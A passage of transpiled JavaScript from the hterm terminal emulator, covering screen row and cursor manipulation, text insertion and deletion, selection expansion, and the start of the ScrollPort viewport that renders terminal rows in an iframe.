* Remove rows from the top of the screen and return them as an array.
*
* @param {integer} count The number of rows to remove.
* @return {Array.<HTMLElement>} The selected rows.
*/hterm.Screen.prototype.shiftRows = function (count) { return this.rowsArray.splice(0, count); };/**
* Insert a row at the top of the screen.
*
* @param {HTMLElement} row The row to insert.
*/hterm.Screen.prototype.unshiftRow = function (row) { this.rowsArray.splice(0, 0, row); };/**
* Insert rows at the top of the screen.
*
* @param {Array.<HTMLElement>} rows The rows to insert.
*/hterm.Screen.prototype.unshiftRows = function (rows) { this.rowsArray.unshift.apply(this.rowsArray, rows); };/**
* Remove the last row from the screen and return it.
*
* @return {HTMLElement} The last row in this screen.
*/hterm.Screen.prototype.popRow = function () { return this.popRows(1)[0]; };/**
* Remove rows from the bottom of the screen and return them as an array.
*
* @param {integer} count The number of rows to remove.
* @return {Array.<HTMLElement>} The selected rows.
*/hterm.Screen.prototype.popRows = function (count) { return this.rowsArray.splice(this.rowsArray.length - count, count); };/**
* Insert a row at the bottom of the screen.
*
* @param {HTMLElement} row The row to insert.
*/hterm.Screen.prototype.pushRow = function (row) { this.rowsArray.push(row); };/**
* Insert rows at the bottom of the screen.
*
* @param {Array.<HTMLElement>} rows The rows to insert.
*/hterm.Screen.prototype.pushRows = function (rows) { rows.push.apply(this.rowsArray, rows); };/**
* Insert a row at the specified row of the screen.
*
* @param {integer} index The index to insert the row.
* @param {HTMLElement} row The row to insert.
*/hterm.Screen.prototype.insertRow = function (index, row) { this.rowsArray.splice(index, 0, row); };/**
* Insert rows at the specified row of the screen.
*
* @param {integer} index The index to insert the rows.
* @param {Array.<HTMLElement>} rows The rows to insert.
*/hterm.Screen.prototype.insertRows = function (index, rows) { for (var i = 0; i < rows.length; i++) { this.rowsArray.splice(index + i, 0, rows[i]); } };/**
* Remove a row from the screen and return it.
*
* @param {integer} index The index of the row to remove.
* @return {HTMLElement} The selected row.
*/hterm.Screen.prototype.removeRow = function (index) { return this.rowsArray.splice(index, 1)[0]; };/**
* Remove rows from the bottom of the screen and return them as an array.
*
* @param {integer} index The index to start removing rows.
* @param {integer} count The number of rows to remove.
* @return {Array.<HTMLElement>} The selected rows.
*/hterm.Screen.prototype.removeRows = function (index, count) { return this.rowsArray.splice(index, count); };/**
* Invalidate the current cursor position.
*
* This sets this.cursorPosition to (0, 0) and clears out some internal
* data.
*
* Attempting to insert or overwrite text while the cursor position is invalid
* will raise an obscure exception.
*/hterm.Screen.prototype.invalidateCursorPosition = function () { this.cursorPosition.move(0, 0); this.cursorRowNode_ = null; this.cursorNode_ = null; this.cursorOffset_ = null; };/**
* Clear the contents of the cursor row.
*/hterm.Screen.prototype.clearCursorRow = function () {
this.cursorRowNode_.innerHTML = ''; this.cursorRowNode_.removeAttribute('line-overflow'); this.cursorOffset_ = 0; this.cursorPosition.column = 0; this.cursorPosition.overflow = false; var text; if (this.textAttributes.isDefault()) { text = ''; } else { text = lib.f.getWhitespace(this.columnCount_); }// We shouldn't honor inverse colors when clearing an area, to match
// xterm's back color erase behavior.
var inverse = this.textAttributes.inverse; this.textAttributes.inverse = false; this.textAttributes.syncColors(); var node = this.textAttributes.createContainer(text); this.cursorRowNode_.appendChild(node); this.cursorNode_ = node; this.textAttributes.inverse = inverse; this.textAttributes.syncColors();
};/**
* Mark the current row as having overflowed to the next line.
*
* The line overflow state is used when converting a range of rows into text.
* It makes it possible to recombine two or more overflow terminal rows into
* a single line.
*
* This is distinct from the cursor being in the overflow state.  Cursor
* overflow indicates that printing at the cursor position will commit a
* line overflow, unless it is preceded by a repositioning of the cursor
* to a non-overflow state.
*/hterm.Screen.prototype.commitLineOverflow = function () { this.cursorRowNode_.setAttribute('line-overflow', true); };/**
* Relocate the cursor to a give row and column.
*
* @param {integer} row The zero based row.
* @param {integer} column The zero based column.
*/hterm.Screen.prototype.setCursorPosition = function (row, column) { if (!this.rowsArray.length) { console.warn('Attempt to set cursor position on empty screen.'); return; } if (row >= this.rowsArray.length) { console.error('Row out of bounds: ' + row); row = this.rowsArray.length - 1; } else if (row < 0) { console.error('Row out of bounds: ' + row); row = 0; } if (column >= this.columnCount_) { console.error('Column out of bounds: ' + column); column = this.columnCount_ - 1; } else if (column < 0) { console.error('Column out of bounds: ' + column); column = 0; } this.cursorPosition.overflow = false; var rowNode = this.rowsArray[row]; var node = rowNode.firstChild; if (!node) { node = rowNode.ownerDocument.createTextNode(''); rowNode.appendChild(node); } var currentColumn = 0; if (rowNode == this.cursorRowNode_) { if (column >= this.cursorPosition.column - this.cursorOffset_) { node = this.cursorNode_; currentColumn = this.cursorPosition.column - this.cursorOffset_; } } else { this.cursorRowNode_ = rowNode; } this.cursorPosition.move(row, column); while (node) { var offset = column - currentColumn; var width = hterm.TextAttributes.nodeWidth(node); if (!node.nextSibling || width > offset) { this.cursorNode_ = node; this.cursorOffset_ = offset; return; } currentColumn += width; node = node.nextSibling; } };/**
* Set the provided selection object to be a caret selection at the current
* cursor position.
*/hterm.Screen.prototype.syncSelectionCaret = function (selection) {
try { selection.collapse(this.cursorNode_, this.cursorOffset_); } catch (firefoxIgnoredException) {// FF can throw an exception if the range is off, rather than just not
// performing the collapse.
}
};/**
* Split a single node into two nodes at the given offset.
*
* For example:
* Given the DOM fragment '<div><span>Hello World</span></div>', call splitNode_
* passing the span and an offset of 6.  This would modify the fragment to
* become: '<div><span>Hello </span><span>World</span></div>'.  If the span
* had any attributes they would have been copied to the new span as well.
*
* The to-be-split node must have a container, so that the new node can be
* placed next to it.
*
* @param {HTMLNode} node The node to split.
* @param {integer} offset The offset into the node where the split should
*     occur.
*/hterm.Screen.prototype.splitNode_ = function (node, offset) { var afterNode = node.cloneNode(false); var textContent = node.textContent; node.textContent = hterm.TextAttributes.nodeSubstr(node, 0, offset); afterNode.textContent = lib.wc.substr(textContent, offset); if (afterNode.textContent) node.parentNode.insertBefore(afterNode, node.nextSibling); if (!node.textContent) node.parentNode.removeChild(node); };/**
* Ensure that text is clipped and the cursor is clamped to the column count.
*/hterm.Screen.prototype.maybeClipCurrentRow = function () {
var width = hterm.TextAttributes.nodeWidth(this.cursorRowNode_); if (width <= this.columnCount_) {// Current row does not need clipping, but may need clamping.
if (this.cursorPosition.column >= this.columnCount_) { this.setCursorPosition(this.cursorPosition.row, this.columnCount_ - 1); this.cursorPosition.overflow = true; } return;
}// Save off the current column so we can maybe restore it later.
var currentColumn = this.cursorPosition.column;// Move the cursor to the final column.
this.setCursorPosition(this.cursorPosition.row, this.columnCount_ - 1);// Remove any text that partially overflows.
width = hterm.TextAttributes.nodeWidth(this.cursorNode_); if (this.cursorOffset_ < width - 1) { this.cursorNode_.textContent = hterm.TextAttributes.nodeSubstr(this.cursorNode_, 0, this.cursorOffset_ + 1); }// Remove all nodes after the cursor.
var rowNode = this.cursorRowNode_; var node = this.cursorNode_.nextSibling; while (node) { rowNode.removeChild(node); node = this.cursorNode_.nextSibling; } if (currentColumn < this.columnCount_) {// If the cursor was within the screen before we started then restore its
// position.
this.setCursorPosition(this.cursorPosition.row, currentColumn);
} else {// Otherwise leave it at the the last column in the overflow state.
this.cursorPosition.overflow = true;
}
};/**
* Insert a string at the current character position using the current
* text attributes.
*
* You must call maybeClipCurrentRow() after in order to clip overflowed
* text and clamp the cursor.
*
* It is also up to the caller to properly maintain the line overflow state
* using hterm.Screen..commitLineOverflow().
*/hterm.Screen.prototype.insertString = function (str) {
var wcwidth = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : undefined; var cursorNode = this.cursorNode_; var cursorNodeText = cursorNode.textContent; this.cursorRowNode_.removeAttribute('line-overflow');// We may alter the width of the string by prepending some missing
// whitespaces, so we need to record the string width ahead of time.
if (wcwidth === undefined) wcwidth = lib.wc.strWidth(str);// No matter what, before this function exits the cursor column will have
// moved this much.
this.cursorPosition.column += wcwidth;// Local cache of the cursor offset.
var offset = this.cursorOffset_;// Reverse offset is the offset measured from the end of the string.
// Zero implies that the cursor is at the end of the cursor node.
var reverseOffset = hterm.TextAttributes.nodeWidth(cursorNode) - offset; if (reverseOffset < 0) {// A negative reverse offset means the cursor is positioned past the end
// of the characters on this line.  We'll need to insert the missing
// whitespace.
var ws = lib.f.getWhitespace(-reverseOffset);// This whitespace should be completely unstyled.  Underline, background
// color, and strikethrough would be visible on whitespace, so we can't use
// one of those spans to hold the text.
if (!(this.textAttributes.underline || this.textAttributes.strikethrough || this.textAttributes.background || this.textAttributes.wcNode || !this.textAttributes.asciiNode || this.textAttributes.tileData != null)) {// Best case scenario, we can just pretend the spaces were part of the
// original string.
str = ws + str;
} else if (cursorNode.nodeType == Node.TEXT_NODE || !(cursorNode.wcNode || !cursorNode.asciiNode || cursorNode.tileNode || cursorNode.style.textDecoration || cursorNode.style.textDecorationStyle || cursorNode.style.textDecorationLine || cursorNode.style.backgroundColor)) {// Second best case, the current node is able to hold the whitespace.
cursorNode.textContent = cursorNodeText += ws;
} else {// Worst case, we have to create a new node to hold the whitespace.
var wsNode = cursorNode.ownerDocument.createTextNode(ws); this.cursorRowNode_.insertBefore(wsNode, cursorNode.nextSibling); this.cursorNode_ = cursorNode = wsNode; this.cursorOffset_ = offset = -reverseOffset; cursorNodeText = ws;
}// We now know for sure that we're at the last character of the cursor node.
reverseOffset = 0;
} if (this.textAttributes.matchesContainer(cursorNode)) {// The new text can be placed directly in the cursor node.
if (reverseOffset == 0) { cursorNode.textContent = cursorNodeText + str; } else if (offset == 0) { cursorNode.textContent = str + cursorNodeText; } else { cursorNode.textContent = hterm.TextAttributes.nodeSubstr(cursorNode, 0, offset) + str + hterm.TextAttributes.nodeSubstr(cursorNode, offset); } this.cursorOffset_ += wcwidth; return;
}// The cursor node is the wrong style for the new text.  If we're at the
// beginning or end of the cursor node, then the adjacent node is also a
// potential candidate.
if (offset == 0) {// At the beginning of the cursor node, the check the previous sibling.
var previousSibling = cursorNode.previousSibling; if (previousSibling && this.textAttributes.matchesContainer(previousSibling)) { previousSibling.textContent += str; this.cursorNode_ = previousSibling; this.cursorOffset_ = lib.wc.strWidth(previousSibling.textContent); return; } var newNode = this.textAttributes.createContainer(str); this.cursorRowNode_.insertBefore(newNode, cursorNode); this.cursorNode_ = newNode; this.cursorOffset_ = wcwidth; return;
} if (reverseOffset == 0) {// At the end of the cursor node, the check the next sibling.
var nextSibling = cursorNode.nextSibling; if (nextSibling && this.textAttributes.matchesContainer(nextSibling)) { nextSibling.textContent = str + nextSibling.textContent; this.cursorNode_ = nextSibling; this.cursorOffset_ = lib.wc.strWidth(str); return; } var newNode = this.textAttributes.createContainer(str); this.cursorRowNode_.insertBefore(newNode, nextSibling); this.cursorNode_ = newNode;// We specifically need to include any missing whitespace here, since it's
// going in a new node.
this.cursorOffset_ = hterm.TextAttributes.nodeWidth(newNode); return;
}// Worst case, we're somewhere in the middle of the cursor node.  We'll
// have to split it into two nodes and insert our new container in between.
this.splitNode_(cursorNode, offset); var newNode = this.textAttributes.createContainer(str); this.cursorRowNode_.insertBefore(newNode, cursorNode.nextSibling); this.cursorNode_ = newNode; this.cursorOffset_ = wcwidth;
};/**
* Overwrite the text at the current cursor position.
*
* You must call maybeClipCurrentRow() after in order to clip overflowed
* text and clamp the cursor.
*
* It is also up to the caller to properly maintain the line overflow state
* using hterm.Screen..commitLineOverflow().
*/hterm.Screen.prototype.overwriteString = function (str) {
var wcwidth = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : undefined; var maxLength = this.columnCount_ - this.cursorPosition.column; if (!maxLength) return [str]; if (wcwidth === undefined) wcwidth = lib.wc.strWidth(str); if (this.textAttributes.matchesContainer(this.cursorNode_) && this.cursorNode_.textContent.substr(this.cursorOffset_) == str) {// This overwrite would be a no-op, just move the cursor and return.
this.cursorOffset_ += wcwidth; this.cursorPosition.column += wcwidth; return;
} this.deleteChars(Math.min(wcwidth, maxLength)); this.insertString(str, wcwidth);
};/**
* Forward-delete one or more characters at the current cursor position.
*
* Text to the right of the deleted characters is shifted left.  Only affects
* characters on the same row as the cursor.
*
* @param {integer} count The column width of characters to delete.  This is
*     clamped to the column width minus the cursor column.
* @return {integer} The column width of the characters actually deleted.
*/hterm.Screen.prototype.deleteChars = function (count) {
var node = this.cursorNode_; var offset = this.cursorOffset_; var currentCursorColumn = this.cursorPosition.column; count = Math.min(count, this.columnCount_ - currentCursorColumn); if (!count) return 0; var rv = count; var startLength, endLength; while (node && count) {// Sanity check so we don't loop forever, but we don't also go quietly.
if (count < 0) { console.error('Deleting ' + rv + ' chars went negative: ' + count); break; } startLength = hterm.TextAttributes.nodeWidth(node); node.textContent = hterm.TextAttributes.nodeSubstr(node, 0, offset) + hterm.TextAttributes.nodeSubstr(node, offset + count); endLength = hterm.TextAttributes.nodeWidth(node);// Deal with splitting wide characters.  There are two ways: we could delete
// the first column or the second column.  In both cases, we delete the wide
// character and replace one of the columns with a space (since the other
// was deleted).  If there are more chars to delete, the next loop will pick
// up the slack.
if (node.wcNode && offset < startLength && (endLength && startLength == endLength || !endLength && offset == 1)) {// No characters were deleted when there should be.  We're probably trying
// to delete one column width from a wide character node.  We remove the
// wide character node here and replace it with a single space.
var spaceNode = this.textAttributes.createContainer(' '); node.parentNode.insertBefore(spaceNode, offset ? node : node.nextSibling); node.textContent = ''; endLength = 0; count -= 1;
} else count -= startLength - endLength; var nextNode = node.nextSibling; if (endLength == 0 && node != this.cursorNode_) { node.parentNode.removeChild(node); } node = nextNode; offset = 0;
}// Remove this.cursorNode_ if it is an empty non-text node.
if (this.cursorNode_.nodeType != Node.TEXT_NODE && !this.cursorNode_.textContent) {
var cursorNode = this.cursorNode_; if (cursorNode.previousSibling) { this.cursorNode_ = cursorNode.previousSibling; this.cursorOffset_ = hterm.TextAttributes.nodeWidth(cursorNode.previousSibling); } else if (cursorNode.nextSibling) { this.cursorNode_ = cursorNode.nextSibling; this.cursorOffset_ = 0; } else {
var emptyNode = this.cursorRowNode_.ownerDocument.createTextNode(''); this.cursorRowNode_.appendChild(emptyNode);
this.cursorNode_ = emptyNode; this.cursorOffset_ = 0;
} this.cursorRowNode_.removeChild(cursorNode);
} return rv;
};/**
* Finds first X-ROW of a line containing specified X-ROW.
* Used to support line overflow.
*
* @param {Node} row X-ROW to begin search for first row of line.
* @return {Node} The X-ROW that is at the beginning of the line.
**/hterm.Screen.prototype.getLineStartRow_ = function (row) { while (row.previousSibling && row.previousSibling.hasAttribute('line-overflow')) { row = row.previousSibling; } return row; };/**
* Gets text of a line beginning with row.
* Supports line overflow.
*
* @param {Node} row First X-ROW of line.
* @return {string} Text content of line.
**/hterm.Screen.prototype.getLineText_ = function (row) { var rowText = ""; while (row) { rowText += row.textContent; if (row.hasAttribute('line-overflow')) { row = row.nextSibling; } else { break; } } return rowText; };/**
* Returns X-ROW that is ancestor of the node.
*
* @param {Node} node Node to get X-ROW ancestor for.
* @return {Node} X-ROW ancestor of node, or null if not found.
**/hterm.Screen.prototype.getXRowAncestor_ = function (node) { while (node) { if (node.nodeName === 'X-ROW') break; node = node.parentNode; } return node; };/**
* Returns position within line of character at offset within node.
* Supports line overflow.
*
* @param {Node} row X-ROW at beginning of line.
* @param {Node} node Node to get position of.
* @param {integer} offset Offset into node.
*
* @return {integer} Position within line of character at offset within node.
**/hterm.Screen.prototype.getPositionWithOverflow_ = function (row, node, offset) { if (!node) return -1; var ancestorRow = this.getXRowAncestor_(node); if (!ancestorRow) return -1; var position = 0; while (ancestorRow != row) { position += hterm.TextAttributes.nodeWidth(row); if (row.hasAttribute('line-overflow') && row.nextSibling) { row = row.nextSibling; } else { return -1; } } return position + this.getPositionWithinRow_(row, node, offset); };/**
* Returns position within row of character at offset within node.
* Does not support line overflow.
*
* @param {Node} row X-ROW to get position within.
* @param {Node} node Node to get position for.
* @param {integer} offset Offset within node to get position for.
* @return {integer} Position within row of character at offset within node.
**/hterm.Screen.prototype.getPositionWithinRow_ = function (row, node, offset) {
if (node.parentNode != row) {// If we traversed to the top node, then there's nothing to find here.
if (node.parentNode == null) return -1; return this.getPositionWithinRow_(node.parentNode, node, offset) + this.getPositionWithinRow_(row, node.parentNode, 0);
} var position = 0; for (var i = 0; i < row.childNodes.length; i++) { var currentNode = row.childNodes[i]; if (currentNode == node) return position + offset; position += hterm.TextAttributes.nodeWidth(currentNode); } return -1;
};/**
* Returns the node and offset corresponding to position within line.
* Supports line overflow.
*
* @param {Node} row X-ROW at beginning of line.
* @param {integer} position Position within line to retrieve node and offset.
* @return {Array} Two element array containing node and offset respectively.
**/hterm.Screen.prototype.getNodeAndOffsetWithOverflow_ = function (row, position) { while (row && position > hterm.TextAttributes.nodeWidth(row)) { if (row.hasAttribute('line-overflow') && row.nextSibling) { position -= hterm.TextAttributes.nodeWidth(row); row = row.nextSibling; } else { return -1; } } return this.getNodeAndOffsetWithinRow_(row, position); };/**
* Returns the node and offset corresponding to position within row.
* Does not support line overflow.
*
* @param {Node} row X-ROW to get position within.
* @param {integer} position Position within row to retrieve node and offset.
* @return {Array} Two element array containing node and offset respectively.
**/hterm.Screen.prototype.getNodeAndOffsetWithinRow_ = function (row, position) { for (var i = 0; i < row.childNodes.length; i++) { var node = row.childNodes[i]; var nodeTextWidth = hterm.TextAttributes.nodeWidth(node); if (position <= nodeTextWidth) { if (node.nodeName === 'SPAN') {/** Drill down to node contained by SPAN. **/return this.getNodeAndOffsetWithinRow_(node, position); } else { return [node, position]; } } position -= nodeTextWidth; } return null; };/**
* Returns the node and offset corresponding to position within line.
* Supports line overflow.
*
* @param {Node} row X-ROW at beginning of line.
* @param {integer} start Start position of range within line.
* @param {integer} end End position of range within line.
* @param {Range} range Range to modify.
**/hterm.Screen.prototype.setRange_ = function (row, start, end, range) { var startNodeAndOffset = this.getNodeAndOffsetWithOverflow_(row, start); if (startNodeAndOffset == null) return; var endNodeAndOffset = this.getNodeAndOffsetWithOverflow_(row, end); if (endNodeAndOffset == null) return; range.setStart(startNodeAndOffset[0], startNodeAndOffset[1]); range.setEnd(endNodeAndOffset[0], endNodeAndOffset[1]); };/**
* Expands selection to surrounding string with word break matches.
*
* @param {Selection} selection Selection to expand.
* @param {string} leftMatch left word break match.
* @param {string} rightMatch right word break match.
* @param {string} insideMatch inside word break match.
*/hterm.Screen.prototype.expandSelectionWithWordBreakMatches_ = function (selection, leftMatch, rightMatch, insideMatch) {
if (!selection) return; var range = selection.getRangeAt(0); if (!range || range.toString().match(/\s/)) return; var rowElement = this.getXRowAncestor_(range.startContainer); if (!rowElement) return; var row = this.getLineStartRow_(rowElement); if (!row) return; var startPosition = this.getPositionWithOverflow_(row, range.startContainer, range.startOffset); if (startPosition == -1) return; var endPosition = this.getPositionWithOverflow_(row, range.endContainer, range.endOffset); if (endPosition == -1) return;//Move start to the left.
var rowText = this.getLineText_(row); var lineUpToRange = lib.wc.substring(rowText, 0, endPosition); var leftRegularExpression = new RegExp(leftMatch + insideMatch + "$"); var expandedStart = lineUpToRange.search(leftRegularExpression); if (expandedStart == -1 || expandedStart > startPosition) return;//Move end to the right.
var lineFromRange = lib.wc.substring(rowText, startPosition, lib.wc.strWidth(rowText)); var rightRegularExpression = new RegExp("^" + insideMatch + rightMatch); var found = lineFromRange.match(rightRegularExpression); if (!found) return; var expandedEnd = startPosition + lib.wc.strWidth(found[0]); if (expandedEnd == -1 || expandedEnd < endPosition) return; this.setRange_(row, expandedStart, expandedEnd, range); selection.addRange(range);
};/**
* Expands selection to surrounding string using the user's settings.
*
* @param {Selection} selection Selection to expand.
*/hterm.Screen.prototype.expandSelection = function (selection) { this.expandSelectionWithWordBreakMatches_(selection, this.wordBreakMatchLeft, this.wordBreakMatchRight, this.wordBreakMatchMiddle); };/**
* Expands selection to surrounding URL using a set of fixed match settings.
*
* @param {Selection} selection Selection to expand.
*/hterm.Screen.prototype.expandSelectionForUrl = function (selection) { this.expandSelectionWithWordBreakMatches_(selection, "[^\\s\\[\\](){}<>\"'\\^!@#$%&*,;:`]", "[^\\s\\[\\](){}<>\"'\\^!@#$%&*,;:~.`]", "[^\\s\\[\\](){}<>\"'\\^]*"); };/**
* Save the current cursor state to the corresponding screens.
*
* @param {hterm.VT} vt The VT object to read graphic codeset details from.
*/hterm.Screen.prototype.saveCursorAndState = function (vt) { this.cursorState_.save(vt); };/**
* Restore the saved cursor state in the corresponding screens.
*
* @param {hterm.VT} vt The VT object to write graphic codeset details to.
*/hterm.Screen.prototype.restoreCursorAndState = function (vt) { this.cursorState_.restore(vt); };/**
* Track all the things related to the current "cursor".
*
* The set of things saved & restored here is defined by DEC:
* https://vt100.net/docs/vt510-rm/DECSC.html
* - Cursor position
* - Character attributes set by the SGR command
* - Character sets (G0, G1, G2, or G3) currently in GL and GR
* - Wrap flag (autowrap or no autowrap)
* - State of origin mode (DECOM)
* - Selective erase attribute
* - Any single shift 2 (SS2) or single shift 3 (SS3) functions sent
*
* These are done on a per-screen basis.
*/hterm.Screen.CursorState = function (screen) { this.screen_ = screen; this.cursor = null; this.textAttributes = null; this.GL = this.GR = this.G0 = this.G1 = this.G2 = this.G3 = null; };/**
* Save all the cursor state.
*
* @param {hterm.VT} vt The VT object to read graphic codeset details from.
*/hterm.Screen.CursorState.prototype.save = function (vt) { this.cursor = vt.terminal.saveCursor(); this.textAttributes = this.screen_.textAttributes.clone(); this.GL = vt.GL; this.GR = vt.GR; this.G0 = vt.G0; this.G1 = vt.G1; this.G2 = vt.G2; this.G3 = vt.G3; };/**
* Restore the previously saved cursor state.
*
* @param {hterm.VT} vt The VT object to write graphic codeset details to.
*/hterm.Screen.CursorState.prototype.restore = function (vt) {
vt.terminal.restoreCursor(this.cursor);// Cursor restore includes char attributes (bold/etc...), but does not change
// the color palette (which are a terminal setting).
var tattrs = this.textAttributes.clone(); tattrs.colorPalette = this.screen_.textAttributes.colorPalette; tattrs.syncColors(); this.screen_.textAttributes = tattrs; vt.GL = this.GL; vt.GR = this.GR; vt.G0 = this.G0; vt.G1 = this.G1; vt.G2 = this.G2; vt.G3 = this.G3;
};// SOURCE FILE: hterm/js/hterm_scrollport.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('lib.f', 'hterm.PubSub', 'hterm.Size');/**
* A 'viewport' view of fixed-height rows with support for selection and
* copy-to-clipboard.
*
* 'Viewport' in this case means that only the visible rows are in the DOM.
* If the rowProvider has 100,000 rows, but the ScrollPort is only 25 rows
* tall, then only 25 dom nodes are created.  The ScrollPort will ask the
* RowProvider to create new visible rows on demand as they are scrolled in
* to the visible area.
*
* This viewport is designed so that select and copy-to-clipboard still works,
* even when all or part of the selection is scrolled off screen.
*
* Note that the X11 mouse clipboard does not work properly when all or part
* of the selection is off screen.  It would be difficult to fix this without
* adding significant overhead to pathologically large selection cases.
*
* The RowProvider should return rows rooted by the custom tag name 'x-row'.
* This ensures that we can quickly assign the correct display height
* to the rows with css.
*
* @param {RowProvider} rowProvider An object capable of providing rows as
*     raw text or row nodes.
*/hterm.ScrollPort = function (rowProvider) {
hterm.PubSub.addBehavior(this); this.rowProvider_ = rowProvider;// SWAG the character size until we can measure it.
this.characterSize = new hterm.Size(10, 10);// DOM node used for character measurement.
this.ruler_ = null; this.selection = new hterm.ScrollPort.Selection(this);// A map of rowIndex => rowNode for each row that is drawn as part of a
// pending redraw_() call.  Null if there is no pending redraw_ call.
this.currentRowNodeCache_ = null;// A map of rowIndex => rowNode for each row that was drawn as part of the
// previous redraw_() call.
this.previousRowNodeCache_ = {};// Used during scroll events to detect when the underlying cause is a resize.
this.lastScreenWidth_ = null; this.lastScreenHeight_ = null;// True if the user should be allowed to select text in the terminal.
// This is disabled when the host requests mouse drag events so that we don't
// end up with two notions of selection.
this.selectionEnabled_ = true;// The last row count returned by the row provider, re-populated during
// syncScrollHeight().
this.lastRowCount_ = 0;// The scroll wheel pixel delta multiplier to increase/decrease
// the scroll speed of mouse wheel events. See: https://goo.gl/sXelnq
this.scrollWheelMultiplier_ = 1;// The last touch events we saw to support touch based scrolling.  Indexed
// by touch identifier since we can have more than one touch active.
this.lastTouch_ = {};/**
* True if the last scroll caused the scrollport to show the final row.
*/this.isScrolledEnd = true;/**
* A guess at the current scrollbar width, fixed in resize().
*/this.currentScrollbarWidthPx = 16;/**
* Whether the ctrl-v key on the screen should paste.
*/this.ctrlVPaste = false; this.div_ = null; this.document_ = null;// Collection of active timeout handles.
this.timeouts_ = {}; this.observers_ = {}; this.DEBUG_ = false;
};/**
* Proxy for the native selection object which understands how to walk up the
* DOM to find the containing row node and sort out which comes first.
*
* @param {hterm.ScrollPort} scrollPort The parent hterm.ScrollPort instance.
*/hterm.ScrollPort.Selection = function (scrollPort) {
this.scrollPort_ = scrollPort;/**
* The row containing the start of the selection.
*
* This may be partially or fully selected.  It may be the selection anchor
* or the focus, but its rowIndex is guaranteed to be less-than-or-equal-to
* that of the endRow.
*
* If only one row is selected then startRow == endRow.  If there is no
* selection or the selection is collapsed then startRow == null.
*/this.startRow = null;/**
* The row containing the end of the selection.
*
* This may be partially or fully selected.  It may be the selection anchor
* or the focus, but its rowIndex is guaranteed to be greater-than-or-equal-to
* that of the startRow.
*
* If only one row is selected then startRow == endRow.  If there is no
* selection or the selection is collapsed then startRow == null.
*/this.endRow = null;/**
* True if startRow != endRow.
*/this.isMultiline = null;/**
* True if the selection is just a point rather than a range.
*/this.isCollapsed = null;
};/**
* Given a list of DOM nodes and a container, return the DOM node that
* is first according to a depth-first search.
*
* Returns null if none of the children are found.
*/hterm.ScrollPort.Selection.prototype.findFirstChild = function (parent, childAry) { var node = parent.firstChild; while (node) { if (childAry.indexOf(node) != -1) return node; if (node.childNodes.length) { var rv = this.findFirstChild(node, childAry); if (rv) return rv; } node = node.nextSibling; } return null; };/**
* Synchronize this object with the current DOM selection.
*
* This is a one-way synchronization, the DOM selection is copied to this
* object, not the other way around.
*/hterm.ScrollPort.Selection.prototype.sync = function () {
var self = this;// The dom selection object has no way to tell which nodes come first in
// the document, so we have to figure that out.
//
// This function is used when we detect that the "anchor" node is first.
function anchorFirst() { self.startRow = anchorRow; self.startNode = selection.anchorNode; self.startOffset = selection.anchorOffset; self.endRow = focusRow; self.endNode = selection.focusNode; self.endOffset = selection.focusOffset; }// This function is used when we detect that the "focus" node is first.
function focusFirst() { self.startRow = focusRow; self.startNode = selection.focusNode; self.startOffset = selection.focusOffset; self.endRow = anchorRow; self.endNode = selection.anchorNode; self.endOffset = selection.anchorOffset; } var selection = this.scrollPort_.getDocument().getSelection(); this.startRow = null; this.endRow = null; this.isMultiline = null; this.isCollapsed = !selection || selection.isCollapsed; if (!selection) { return; }// Usually collapsed selections wouldn't be interesting, however screen
// readers will set a collapsed selection as they navigate through the DOM.
// It is important to preserve these nodes in the DOM as scrolling happens
// so that screen reader navigation isn't cleared.
var accessibilityEnabled = this.scrollPort_.accessibilityReader_ && this.scrollPort_.accessibilityReader_.accessibilityEnabled; if (this.isCollapsed && !accessibilityEnabled) { return; } var anchorRow = selection.anchorNode; while (anchorRow && anchorRow.nodeName != 'X-ROW') { anchorRow = anchorRow.parentNode; } if (!anchorRow) {// Don't set a selection if it's not a row node that's selected.
return;
} var focusRow = selection.focusNode; while (focusRow && focusRow.nodeName != 'X-ROW') { focusRow = focusRow.parentNode; } if (!focusRow) {// Don't set a selection if it's not a row node that's selected.
return;
} if (anchorRow.rowIndex < focusRow.rowIndex) { anchorFirst(); } else if (anchorRow.rowIndex > focusRow.rowIndex) { focusFirst(); } else if (selection.focusNode == selection.anchorNode) { if (selection.anchorOffset < selection.focusOffset) { anchorFirst(); } else { focusFirst(); } } else {// The selection starts and ends in the same row, but isn't contained all
// in a single node.
var firstNode = this.findFirstChild(anchorRow, [selection.anchorNode, selection.focusNode]); if (!firstNode) throw new Error('Unexpected error syncing selection.'); if (firstNode == selection.anchorNode) { anchorFirst(); } else { focusFirst(); }
} this.isMultiline = anchorRow.rowIndex != focusRow.rowIndex;
};/**
* Turn a div into this hterm.ScrollPort.
*/hterm.ScrollPort.prototype.decorate = function (div) {
var _this5 = this; this.div_ = div; this.iframe_ = div.ownerDocument.createElement('iframe'); this.iframe_.style.cssText = 'border: 0;' + 'height: 100%;' + 'position: absolute;' + 'width: 100%';// Set the iframe src to # in FF.  Otherwise when the frame's
// load event fires in FF it clears out the content of the iframe.
if ('mozInnerScreenX' in window)// detect a FF only property
this.iframe_.src = '#'; div.appendChild(this.iframe_); this.iframe_.contentWindow.addEventListener('resize', this.onResize_.bind(this)); var doc = this.document_ = this.iframe_.contentDocument; doc.body.style.cssText = 'margin: 0px;' + 'padding: 0px;' + 'height: 100%;' + 'width: 100%;' + 'overflow: hidden;' + 'cursor: var(--hterm-mouse-cursor-style);' + '-webkit-user-select: none;' + '-moz-user-select: none;'; var metaCharset = doc.createElement('meta'); metaCharset.setAttribute('charset', 'utf-8'); doc.head.appendChild(metaCharset); if (this.DEBUG_) {// When we're debugging we add padding to the body so that the offscreen
// elements are visible.
this.document_.body.style.paddingTop = this.document_.body.style.paddingBottom = 'calc(var(--hterm-charsize-height) * 3)';
} var style = doc.createElement('style'); style.textContent = 'x-row {' + '  display: block;' + '  height: var(--hterm-charsize-height);' + '  line-height: var(--hterm-charsize-height);' + '}'; doc.head.appendChild(style); this.userCssLink_ = doc.createElement('link'); this.userCssLink_.setAttribute('rel', 'stylesheet'); this.userCssText_ = doc.createElement('style'); doc.head.appendChild(this.userCssText_);// TODO(rginda): Sorry, this 'screen_' isn't the same thing as hterm.Screen
// from screen.js.  I need to pick a better name for one of them to avoid
// the collision.
// We make this field editable even though we don't actually allow anything
// to be edited here so that Chrome will do the right thing with virtual
// keyboards and IMEs.  But make sure we turn off all the input helper logic
// that doesn't make sense here, and might inadvertently mung or save input.
